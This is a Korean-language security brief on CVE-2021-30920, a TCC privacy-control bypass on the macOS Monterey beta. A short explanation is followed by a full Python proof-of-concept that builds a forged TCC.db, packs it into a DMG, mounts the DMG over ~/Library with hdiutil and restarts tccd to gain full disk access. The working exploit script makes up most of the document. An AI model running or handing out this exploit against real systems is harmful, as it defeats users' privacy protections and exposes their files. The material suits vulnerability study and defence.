[하루한줄] CVE-2021-30920 - CVE-2021-1784 strikes back - TCC bypass via mounting

URL

CVE-2021-30920 - CVE-2021-1784 strikes back - TCC bypass via mounting

Target

macOS Monterey beta

Explain

Transparency, Consent, and Control (TCC) 프레임워크는 설치된 응용 프로그램이 사용자의 허가 없이 민감한 사용자 데이터에 접근하는 것을 거부하는 Apple의 subsystem입니다.

CVE-2021-1784 취약점은 악성 프로그램이 ~/Library 디렉터리에 새로운 TCC database를 생성하는 것으로 user level TCC를 우회하고 디스크에 대한 접근 권한을 얻는 취약점입니다. 해당 취약점은 macOS Big Sur에서 패치되었지만 macOS Monterey beta 버전에서 다시 발견 되어 CVE-2021-30920라는 번호가 발급되었습니다.

User level TCC는 Finder.app에 스크립트 작성 및 실행을 허용합니다. Finder.app은 디스크에 대한 full access 권한을 갖고 있기 때문에 악성 프로그램이 다음과 같은 방법으로 full disk access를 획득 할 수 있습니다.

  1. 새로운 TCC.db 생성 (/tmp/TCC.db)

  2. 새로운 DMG 파일 생성 (/tmp/tmp.dmg)

  3. ~/Library에 DMG 파일 마운트

    hdiutil attach -owners off -mountpoint Library tmp.dmg
  4. tccd 데몬 재시작

해당 취약점은 누구나 ~/Library 디렉터리에 DMG 파일을 마운트할 수 있기 때문에 발생합니다.

import os

tcc_dump = """
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',20);
CREATE TABLE policies (    id        INTEGER    NOT NULL PRIMARY KEY,     bundle_id    TEXT    NOT NULL,     uuid        TEXT    NOT NULL,     display        TEXT    NOT NULL,     UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy (    client        TEXT    NOT NULL,     client_type    INTEGER    NOT NULL,     policy_id    INTEGER NOT NULL,     PRIMARY KEY (client, client_type),     FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     auth_value     INTEGER     NOT NULL,     auth_reason    INTEGER     NOT NULL,     auth_version   INTEGER     NOT NULL,     csreq          BLOB,     policy_id      INTEGER,     indirect_object_identifier_type    INTEGER,     indirect_object_identifier         TEXT NOT NULL DEFAULT 'UNUSED',     indirect_object_code_identity      BLOB,     flags          INTEGER,     last_modified  INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type, indirect_object_identifier),    FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.willowd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.shortcuts',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceUbiquity','com.apple.shortcuts',0,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184394);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.remindd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.textinput.KeyboardServices',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.appleaccountd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Safari',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.syncdefaultsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.suggestd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.siriknowledged',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.securityd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.protectedcloudstorage.protectedcloudkeysyncing',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.knowledge-agent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.imagent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.identityservicesd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.icloud.fmfd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.donotdisturbd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudpaird',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.assistant.assistantd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.StatusKitAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceUbiquity','/System/Library/PrivateFrameworks/PhotoLibraryServices.framework/Versions/A/Support/photolibraryd',1,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184413);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsengagementd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184458);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDownloadsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239871);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239880);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDesktopFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239885);
CREATE TABLE access_overrides (    service        TEXT    NOT NULL PRIMARY KEY);
CREATE TABLE expired (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     csreq          BLOB,     last_modified  INTEGER     NOT NULL ,     expired_at     INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type));
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
"""

def create_tcc_db():
	f = open('/tmp/tccdump.sql','w')
	f.write(tcc_dump)
	f.close()
	os.system("sqlite3 /tmp/TCC.db < /tmp/tccdump.sql")

def create_dmg():
	os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \\"tccbypass\\" -fs APFS 1>/dev/null")
	os.system("mkdir /tmp/mnt")
	os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
	os.system("mkdir -p /tmp/mnt/Application\\ Support/com.apple.TCC/")
	os.system("cp /tmp/TCC.db /tmp/mnt/Application\\ Support/com.apple.TCC/TCC.db")
	os.system("hdiutil detach /tmp/mnt 1>/dev/null")
	
def mount_trick():
	os.system("hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg 1>/dev/null")

def restart_tcc():
	os.system("launchctl stop com.apple.tccd && launchctl start com.apple.tccd")

def main():
	print("[i] Creating new TCC database")
	create_tcc_db()
	print("[i] Creating and prepare DMG file")
	create_dmg()
	print("[i] Mount DMG over Library")
	mount_trick()
	print("[i] Restart TCC")
	restart_tcc()
	print("[i] Enjoy access :-)")
	
	
main()